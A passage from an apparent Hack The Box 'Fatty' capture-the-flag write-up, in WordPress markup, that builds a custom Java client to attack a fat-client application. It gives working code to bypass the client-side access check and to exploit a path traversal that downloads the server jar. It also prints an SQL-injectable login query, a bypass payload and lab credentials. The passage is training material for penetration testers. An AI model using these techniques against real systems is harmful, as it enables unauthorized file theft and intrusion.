\u2013 Building your own Fatty Client<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>If you haven\u2019t created an&nbsp;<em>Eclipse&nbsp;<\/em>(or what ever technology you decided to use) project yet, it is now the time to do this. Just assign your project an arbitrary name and make sure that&nbsp;<em>fatty-client.jar<\/em>&nbsp;is imported inside your&nbsp;<em>Build Path<\/em>. If you do now know how to do this, read the corresponding section from the&nbsp;<em>fat client introduction<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the number of custom classes inside the&nbsp;<em>fatty-client.jar<\/em>&nbsp;is quite low, we will use the&nbsp;<em>Top-Down Approach<\/em>&nbsp;for investigating the source code and this means, that we are starting with the main function of the client. In order to identify the location of the main function, we can simply take a look at the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;of&nbsp;<em>fatty-client.jar<\/em>.pentester@kali:~\/$ cat unzipped\/META-INF\/MANIFEST.MF Manifest-Version: 1.0[...]Main-Class: htb.fatty.client.run.Starter<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So the main function should be contained inside&nbsp;<code>htb\/fatty\/client\/run\/Starter.java<\/code>.\/* * Decompiled with CFR 0.146. *\/<strong>package<\/strong><em> htb.fatty.client.run<\/em>;<strong>import<\/strong><em> htb.fatty.client.gui.ClientGuiTest<\/em>;<strong>import<\/strong><em> htb.fatty.shared.logging.FattyLogger<\/em>;<strong>public<\/strong><strong>class<\/strong> Starter { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main(<strong>String<\/strong>[] argv) { FattyLogger logger = new FattyLogger(); logger.logInfo(\"[+] Fatty starts running. Run Fatty, run!\"); logger.logInfo(\"[+] Starting UI!\"); ClientGuiTest ui = new ClientGuiTest(); ui.setVisible(<strong>true<\/strong>); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the startup function is quite short. The first notable thing is, that a&nbsp;<code>FattyLogger<\/code>&nbsp;object is created. This means, that the client does support some kind of logging, which could be helpful when we encounter more complex problems. But for now we will ignore this class and only keep in mind that logging is available.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next notable thing is that a&nbsp;<code>ClientGuiTest<\/code>&nbsp;object is generated and the visible property is set to&nbsp;<em>true<\/em>. From the function and class names one can already guess that these lines of code are responsible for spawning the graphical user interface. All other functionality of the client seems to be implemented somewhere else and probably gets invoked after certain actions occur inside the&nbsp;<em>GUI<\/em>. So our next step is to look at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class and try to determine where the communication with the application server starts.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>ClientGuiTest<\/code>&nbsp;class contains much more code, but most of it is related to spawning the user interface. To find the interesting parts of the code, we can search for keywords like&nbsp;<code>login<\/code>. The following section looks promising:JButton btnNewButton = new JButton(\"Login \");btnNewButton.addActionListener(new ActionListener() { <strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> username = tfUsername.getText().trim(); <strong>String<\/strong> password = new <strong>String<\/strong>(tfPassword.getPassword()); user = new User(); user.setUsername(username); user.setPassword(password); <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong> (ConnectionException e1) { JOptionPane.showMessageDialog(LoginPanel, \"Connection Error!\", \"Error\", JOptionPane.ERROR_MESSAGE); <strong>return<\/strong>; } <strong>if<\/strong>( conn.login(user) ) { JOptionPane.showMessageDialog(LoginPanel, \"Login Successful!\", \"Login\", JOptionPane.INFORMATION_MESSAGE); LoginPanel.setVisible(<strong>false<\/strong>); <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); <strong>if<\/strong>( roleName.contentEquals(\"admin\")) { uname.setEnabled(<strong>true<\/strong>); users.setEnabled(<strong>true<\/strong>); netstat.setEnabled(<strong>true<\/strong>); ipconfig.setEnabled(<strong>true<\/strong>); changePassword.setEnabled(<strong>true<\/strong>); } <strong>if<\/strong>( !roleName.contentEquals(\"anonymous\")) { whoami.setEnabled(<strong>true<\/strong>); configs.setEnabled(<strong>true<\/strong>); notes.setEnabled(<strong>true<\/strong>); mail.setEnabled(<strong>true<\/strong>); ping.setEnabled(<strong>true<\/strong>); } invoker = new Invoker(conn, user); controlPanel.setVisible(<strong>true<\/strong>); } <strong>else<\/strong> { JOptionPane.showMessageDialog(LoginPanel, \"Login Failed!\", \"Login\", JOptionPane.INFORMATION_MESSAGE); conn.close(); } } });<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this code snipped we see that an&nbsp;<code>ActionListener<\/code>&nbsp;function is defined on the login button, which executes the following steps:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It takes the username and password from the login form and creates a&nbsp;<code>User<\/code>&nbsp;object with this information.<\/li><li>It tries to establish a connection using the&nbsp;<code>getConnection()<\/code>&nbsp;function from the&nbsp;<code>Connection<\/code>&nbsp;class.<\/li><li>If a connection can be established, the previously generated&nbsp;<code>User<\/code>&nbsp;object is used to perform a login attempt.<\/li><li>If the login is successful, the client obtains the&nbsp;<em>rolename<\/em>&nbsp;for the current user from the&nbsp;<code>Connection<\/code>&nbsp;object. Depending on the&nbsp;<em>rolename<\/em>, the client enables certain parts of the user-interface.<\/li><li>Finally, the&nbsp;<code>Connection<\/code>&nbsp;and the&nbsp;<code>User<\/code>&nbsp;object are used to generate an&nbsp;<code>Invoker<\/code>&nbsp;object.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This is actually all information we need to implement the login function within our own client. However, only implementing the login is kind of boring and we can already take a look how the different functions of the&nbsp;<em>fat client<\/em>&nbsp;are implemented. The probably easiest function is&nbsp;<code>Ping<\/code>&nbsp;and just searching for this term gives us the corresponding implementation:ping.addActionListener( new ActionListener() { <strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> response = \"\"; <strong>try<\/strong> { response = invoker.ping(); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", JOptionPane.ERROR_MESSAGE); } <strong>catch<\/strong> (IOException e2 ) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", JOptionPane.ERROR_MESSAGE); } textPane.setText(response); } });<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The biggest part of this code is error handling stuff and the actual invocation of the ping function is just a single line:&nbsp;<code>invoker.ping()<\/code>. So it seems that the&nbsp;<code>Invoker<\/code>&nbsp;object is all we need to call the different functions that are exposed by the graphical user interface of the client. With this knowledge we should be able to write the first version of our own client, that performs a login and calls the&nbsp;<em>ping&nbsp;<\/em>method.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ready-for-takeof\">3.7 \u2013 Ready for Take of<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>With the information we have collected so far, we can write the following simple skeleton for our own client:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> ConnectionTest { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"qtc\", \"clarabibi\"); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.ping(); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, most stuff of this code performs error handling and the actual productive code can be reduced to a few lines:conn = Connection.getConnection();User user = new User(\"qtc\", \"clarabibi\");conn.login(user)<strong>String<\/strong> roleName = conn.getRoleName();Invoker invo = new Invoker(conn, user);serverResponse = invo.ping();<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice that the&nbsp;<em>roleName<\/em>&nbsp;related stuff seems unnecessary, but since the server sends the&nbsp;<em>roleName&nbsp;<\/em>by default during the client-server communication, we would break the communication flow if we just ignore this message. Therefore, we need to make this call, even it does not provide any useful information for us.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you imported&nbsp;<em>fatty-client.jar<\/em>&nbsp;correctly and launch the above displayed code, you will get the following result:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Pong<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This output shows that we are now able to call the different methods of the client manually. The first thing that we can now test from this position, is how access control is handled on methods that were disabled for our user account. As an example, we can take the method&nbsp;<code>uname<\/code>&nbsp;that can be invoked by replacing&nbsp;<code>invo.ping()<\/code>&nbsp;with&nbsp;<code>invo.uname()<\/code>&nbsp;in the code displayed above. If access control would be implemented only by disabling the corresponding functions inside the graphical user interface, we would now already be able to call this method. However, unfortunately we get the following result:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Error: Method 'uname' is not allowed for this <strong>user<\/strong> account<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice that the string&nbsp;<code>Server response is<\/code>&nbsp;was added by our code and is no clear indication whether the error was thrown by the application server or our client. After searching for the string&nbsp;<code>not allowed for this user<\/code>, we find out that the class&nbsp;<code>htb.fatty.client.methods.Invoker<\/code>&nbsp;is throwing this error. By looking at the corresponding code, we can see that our local client is performing the access control checks:<strong>public<\/strong><strong>String<\/strong> uname() <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object(){}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + <strong>this<\/strong>.user.getUsername() + \"'.\"); <strong>if<\/strong> (AccessCheck.checkAccess(methodName, <strong>this<\/strong>.user)) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the relevant function is&nbsp;<code>checkAccess<\/code>&nbsp;from the&nbsp;<code>AccessCheck<\/code>class. To skip client side validation of method calls, we can just patch the&nbsp;<code>checkAccess<\/code>&nbsp;function in our own code to return always&nbsp;<em>false<\/em>. This should enable all methods for our low privileged user.&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned in the<em>&nbsp;fat client introduction<\/em>, in&nbsp;<em>Eclipse&nbsp;<\/em>it is sufficient to create a local version of the class that is then preferred by the class loader. The following minimal implementation should be sufficient:<strong>package<\/strong><em> htb.fatty.client.methods<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> AccessCheck { <strong>public<\/strong><strong>static<\/strong><strong>boolean<\/strong> checkAccess(<strong>String<\/strong> methodName, User user) { <strong>return<\/strong><strong>false<\/strong>; }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But when we run the method&nbsp;<code>invo.uname()<\/code>&nbsp;after applying the patch, we get the following error message:[+] Login succesful![+] Current role: userException in thread \"main\" java.lang.SecurityException: sealing violation: package htb.fatty.client.methods is sealed at java.net.URLClassLoader.getAndVerifyPackage(URLClassLoader.java:400) at java.net.URLClassLoader.definePackageInternal(URLClassLoader.java:420) at java.net.URLClassLoader.defineClass(URLClassLoader.java:452) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our new code is causing a&nbsp;<em>sealing violation<\/em>, since the package&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;is a se<em>aled package<\/em>. We have now two options, the first is to implement all classes of&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;in our own eclipse project. This prevents the mix of local classes with classes defined inside the&nbsp;<code>.jar<\/code>&nbsp;file, which is the reason for the&nbsp;<em>sealing violation<\/em>. The second one would be to unpack&nbsp;<em>fatty-client.jar<\/em>&nbsp;again and to remove the&nbsp;<code>Sealed: True<\/code>&nbsp;option from the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since there is only one other class inside of&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;(the&nbsp;<code>Invoker<\/code>&nbsp;class), we will choose the first option. We just copy the&nbsp;<code>Invoker<\/code>class from the decompiled code into our own project. Now&nbsp;<code>htb.fatty.client.methods<\/code>&nbsp;has a full local implementation and sealing should cause no problems anymore. We can now check again if we are allowed to invoke the&nbsp;<code>invo.uname()<\/code>&nbsp;method.[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: Error: Method 'uname' is not allowed for this <strong>user<\/strong> account<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No success. But by inspecting the network traffic that is caused by our client or by patching the error message that is used for client side violations, we can verify that this error message is now thrown by the application server. So it seems that access control is also implemented on the server-side (probably by using similar methods as on the client side). From here it is definitely worth to check all functions for&nbsp;<em>broken access control<\/em>&nbsp;issues, but we will find that for all methods server-side verification seems to be in place.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"off-by-one\">3.8 \u2013 Off by One<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>The next thing we are interested in is to check the file browsing functionalities within our own client. When looking at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class again, we can determine that a file listing for e.g. the&nbsp;<code>config<\/code>&nbsp;folder is obtained like this:<strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>String<\/strong> response = \"\"; ClientGuiTest.this.currentFolder = \"configs\"; <strong>try<\/strong> { response = ClientGuiTest.this.invoker.showFiles(\"configs\"); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", 0); } <strong>catch<\/strong> (IOException e2) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", 0); } textPane.setText(response);}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The function sets first of all a global variable&nbsp;<code>currentFolder<\/code>&nbsp;to the value&nbsp;<code>configs<\/code>&nbsp;and then calls the&nbsp;<code>showFiles<\/code>&nbsp;function on the&nbsp;<code>Invoker<\/code>&nbsp;object. The&nbsp;<code>showFiles<\/code>&nbsp;method is more interesting as&nbsp;<code>ping<\/code>&nbsp;or even&nbsp;<code>uname<\/code>, since it takes a parameter that is probably sent to the application server. From the client functionality we can guess, that the submitted parameter is the name of the desired folder on the server and we can now also test this parameter for&nbsp;<em>path-traversal vulnerabilities&nbsp;<\/em>(notice that from the&nbsp;<em>GUI&nbsp;<\/em>you are not able to modify this parameter at all). In our previously used code, we simply have to exchange the&nbsp;<code>invo.uname()<\/code>&nbsp;function with&nbsp;<code>invo.showFiles(\"&lt;payload&gt;\")<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After some testing, you will notice that the same filtering seems to apply as for the filename. As soon as the character sequence&nbsp;<code>\/..\/<\/code>&nbsp;is contained in the folder name, it gets stripped. However, as in the case of the&nbsp;<em>open<\/em>&nbsp;function a simple&nbsp;<code>..<\/code>&nbsp;payload does not get filtered. Therefore, we can at least take a look at the parent folder by using&nbsp;<code>invo.showFiles(\"..\")<\/code>.[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: logs tar start.sh fatty-server.jar files<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nice, we obtained a file listing for the parent folder! And even better,&nbsp;<em>fatty-server.jar<\/em>&nbsp;is contained in it! This is one of the most exciting situations during a<em>fat client penetration<\/em>&nbsp;test. If you find any way to download the application server executable, you can exactly determine how the different&nbsp;<em>fat client<\/em>functionalities are implemented on the server side. This makes the identification of&nbsp;<em>SQL&nbsp;<\/em>or<em>&nbsp;command injection<\/em>&nbsp;vulnerabilities a lot easier. The next step is to check how we can download these files by using our custom client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Looking at the&nbsp;<code>ClientGuiTest<\/code>&nbsp;class again, we can find that opening files is done by the following function call:<strong>public<\/strong><strong>void<\/strong> actionPerformed(ActionEvent e) { <strong>if<\/strong> (ClientGuiTest.this.currentFolder == <strong>null<\/strong>) { JOptionPane.showMessageDialog(controlPanel, \"No folder selected! List a directory first!\", \"Error\", 0); <strong>return<\/strong>; } <strong>String<\/strong> response = \"\"; <strong>String<\/strong> fileName = ClientGuiTest.this.fileTextField.getText(); fileName.replaceAll(\"[^a-zA-Z0-9.]\", \"\"); <strong>try<\/strong> { response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName); } <strong>catch<\/strong> (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, \"Failure during message building\/parsing.\", \"Error\", 0); } <strong>catch<\/strong> (IOException e2) { JOptionPane.showMessageDialog(controlPanel, \"Unable to contact the server. If this problem remains, please close and reopen the client.\", \"Error\", 0); } textPane.setText(response);<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two things that are interesting about this function:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It implements a client-side filtering, that removes characters that do not match regular expression&nbsp;<code>[a-zA-Z0-9.]<\/code>. This could mean, that filtering is only performed on the client-side and the server does not apply any filter at all.<\/li><li>The&nbsp;<code>open<\/code>&nbsp;function on the&nbsp;<code>Invoker<\/code>&nbsp;object does take two parameters. One is obviously the&nbsp;<em>filename<\/em>, while the second one is the value of the global variable&nbsp;<code>currentFolder<\/code>. We know that the&nbsp;<em>filename&nbsp;<\/em>parameter is filtered for&nbsp;<em>path traversal&nbsp;<\/em>attacks. However, as the&nbsp;<em>foldername&nbsp;<\/em>is not directly controlled by the user, it is likely that this value isn\u2019t filtered.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>After playing around a while with the&nbsp;<code>invo.open(\"foldername\", \"filename\")<\/code>&nbsp;function, it seems like&nbsp;<em>foldername<\/em>&nbsp;and&nbsp;<em>filename<\/em>&nbsp;are both filtered with the already known filter. So we have no way of injecting a&nbsp;<code>\/..\/<\/code>&nbsp;payload in one of these parameters. However, what is if&nbsp;<em>foldername<\/em>&nbsp;and&nbsp;<em>filename<\/em>&nbsp;are validated separately from each other? In this case we could submit&nbsp;<code>..<\/code>&nbsp;for the&nbsp;<em>foldername&nbsp;<\/em>and e.g.&nbsp;<code>start.sh<\/code>&nbsp;for the filename. If the two strings are filtered first and are then concatenated, this could allow us to download files from the parent folder. Lets give it a try and use a call to&nbsp;<code>invo.open(\"..\", \"start.sh\")<\/code>:[+] Login succesful![+] Current role: <strong>user<\/strong>[+] Server response is: #!\/bin\/sh# Unfortunately alpine docker containers seems to have problems with services.# I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, # both services are now started as part of the docker startup script.# Start cron servicecrond -b# Start ssh server\/usr\/sbin\/sshd# Start Java application serversu - qtc \/bin\/sh -c \"java -jar \/opt\/fatty\/fatty-server.jar\"<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cool, that worked fine. Having downloaded the&nbsp;<code>start.sh<\/code>&nbsp;script is a nice start and it already gives us some valuable information. The&nbsp;<em>fatty-server.jar<\/em>&nbsp;seems to run in an&nbsp;<em>alpine docker container<\/em>&nbsp;and&nbsp;<em>cron&nbsp;<\/em>and&nbsp;<em>ssh&nbsp;<\/em>services seem also to be present. This could come in handy, but first we are interested in downloading the&nbsp;<em>fatty-server.jar<\/em>&nbsp;application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is now that our current code does only work for files that are human readable. Downloading an executable file containing some byte-code cannot be done by using the plain&nbsp;<code>invo.open(...)<\/code>&nbsp;call and we need to patch it a little bit. Let us first of all take a look at the original method implementation:<strong>public<\/strong><strong>String<\/strong> open(<strong>String<\/strong> foldername, <strong>String<\/strong> filename) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object() {}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + user.getUsername() + \"'.\"); <strong>if<\/strong>( AccessCheck.checkAccess(methodName, user) ) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; } action = new ActionMessage(<strong>this<\/strong>.sessionID, \"open\"); action.addArgument(foldername); action.addArgument(filename); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Error: Your action caused an error on the application server!\"; } <strong>String<\/strong> response = \"\"; <strong>try<\/strong> { response = <strong>this<\/strong>.response.getContentAsString(); } <strong>catch<\/strong>( Exception e ) { response = \"Unable to convert byte[] to String. Did you read in a binary file?\" ; } <strong>return<\/strong> response; }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see the function gets its response from&nbsp;<code>this.response<\/code>, which is a&nbsp;<code>ResponseMessage<\/code>&nbsp;object. Apart from&nbsp;<code>getContentAsString()<\/code>, the&nbsp;<code>ResponseMessage<\/code>&nbsp;class does also support a plain&nbsp;<code>getContent()<\/code>&nbsp;function, which returns a&nbsp;<em>bytearray<\/em>&nbsp;instead of a&nbsp;<em>String<\/em>. Inside our local&nbsp;<code>Invoker<\/code>&nbsp;class we can now create a new method e.g. with name&nbsp;<code>bOpen<\/code>, which simply does the same as&nbsp;<code>open<\/code>&nbsp;but returns the bytearray from a&nbsp;<code>getContent()<\/code>&nbsp;call:<strong>public<\/strong><strong>byte<\/strong>[] bOpen(<strong>String<\/strong> foldername, <strong>String<\/strong> filename) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { action = new ActionMessage(<strong>this<\/strong>.sessionID, \"open\"); action.addArgument(foldername); action.addArgument(filename); <strong>this<\/strong>.sendAndRecv(); <strong>return<\/strong><strong>this<\/strong>.response.getContent();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To keep it short, we just skipped any error handling and throw exceptions instead. Now we need to write the bytearray to disk and we should get the executable&nbsp;<em>.jar<\/em>&nbsp;file. Here is the full code of our current client, that downloads the&nbsp;<em>fatty-server.jar<\/em>&nbsp;executable from the server:<strong>import<\/strong><em> java.io.FileOutputStream<\/em>;<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> PathTraversalFiles { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); } User user = new User(\"qtc\", \"clarabibi\"); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>byte<\/strong>[] serverResponse = <strong>null<\/strong>; <strong>try<\/strong> { serverResponse = invo.bOpen(\"..\", \"fatty-server.jar\"); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } FileOutputStream fos; <strong>try<\/strong> { System.out.println(\"[+] Saving file to '\/tmp\/fatty-server.jar'.\"); fos = new FileOutputStream(\"\/tmp\/fatty-server.jar\"); fos.write(serverResponse); fos.close(); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failed to save file from server.\"); System.exit(1); } }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After this&nbsp;<em>Java&nbsp;<\/em>code is executed, we can see that&nbsp;<em>fatty-server.jar<\/em>&nbsp;is written to the&nbsp;<code>\/tmp<\/code>&nbsp;directory:pentester@kali:\/tmp$ ls -lh fatty-server.jar-rw-r--r-- 1 pentester pentester 11M Oct 3 13:41 fatty-server.jar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"sql-injection\">3.9 \u2013 The SQL Injection<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Now that we have the server executable, we can also decompile it and take look at the source code. A good starting point is of course the login procedure, since we already got some hints that it is vulnerable to&nbsp;<em>SQL injection&nbsp;<\/em>attacks. To find the class that is responsible for the&nbsp;<em>SQL&nbsp;<\/em>query, we can simply start a search for strings like&nbsp;<code>SELECT<\/code>. We will find the class&nbsp;<code>htb.fatty.server.database.FattyDbSession<\/code>, which performs the user lookup during login.<strong>public<\/strong> User checkLogin(User user) <strong>throws<\/strong> LoginException { Statement stmt = <strong>null<\/strong>; ResultSet rs = <strong>null<\/strong>; User newUser = <strong>null<\/strong>; <strong>try<\/strong> { stmt = <strong>this<\/strong>.conn.createStatement(); rs = stmt.executeQuery(\"SELECT id,username,email,password,role FROM users WHERE username='\" + user.getUsername() + \"'\"); \/\/ To prevent bruteforce sql injection attacks <strong>try<\/strong> { Thread.sleep(3000); } <strong>catch<\/strong> (InterruptedException e) { <strong>return<\/strong><strong>null<\/strong>; } <strong>if<\/strong> ( rs.next() ) { <strong>int<\/strong> id = rs.getInt(\"id\"); <strong>String<\/strong> username = rs.getString(\"username\"); <strong>String<\/strong> email = rs.getString(\"email\"); <strong>String<\/strong> password = rs.getString(\"password\"); <strong>String<\/strong> role = rs.getString(\"role\"); newUser = new User(id, username, password, email, Role.getRoleByName(role), <strong>false<\/strong>); <strong>if<\/strong>( newUser.getPassword().equalsIgnoreCase(user.getPassword())) { <strong>return<\/strong> newUser; } <strong>else<\/strong> { <strong>throw<\/strong>(new LoginException(\"Wrong Password!\")); } } <strong>else<\/strong> { <strong>throw<\/strong>(new LoginException(\"Wrong Username!\")); } } <strong>catch<\/strong> (SQLException e) { logger.logError(\"[-] Failure with SQL query: ==&gt; SELECT id,username,email,password,role FROM users WHERE username='\" + user.getUsername() + \"' &lt;==\"); logger.logError(\"[-] Exception was: '\" + e.getMessage() + \"'\"); } <strong>return<\/strong><strong>null<\/strong>;}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>checkLogin<\/code>&nbsp;function is obviously vulnerable against&nbsp;<em>SQL injection&nbsp;<\/em>attacks, but&nbsp;<em>username&nbsp;<\/em>and&nbsp;<em>password&nbsp;<\/em>cannot be bypassed at the same time. The application uses the supplied&nbsp;<em>username&nbsp;<\/em>to fetch the corresponding database entry and then compares the entered password with the password from the obtained entry. So we cannot simply use a bypass like&nbsp;<code>' or 1=1 --<\/code>for both,&nbsp;<em>username&nbsp;<\/em>and password.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this is also not what we want. Remember that&nbsp;<em>Dave&nbsp;<\/em>told us, that&nbsp;<em>qtc&nbsp;<\/em>is the only user account that was kept in the database. Therefore, to login as another higher privileged user is not possible. Instead we could try to exfiltrate other information from the database, but also this sounds not very promising, since there is a manual query delay of three 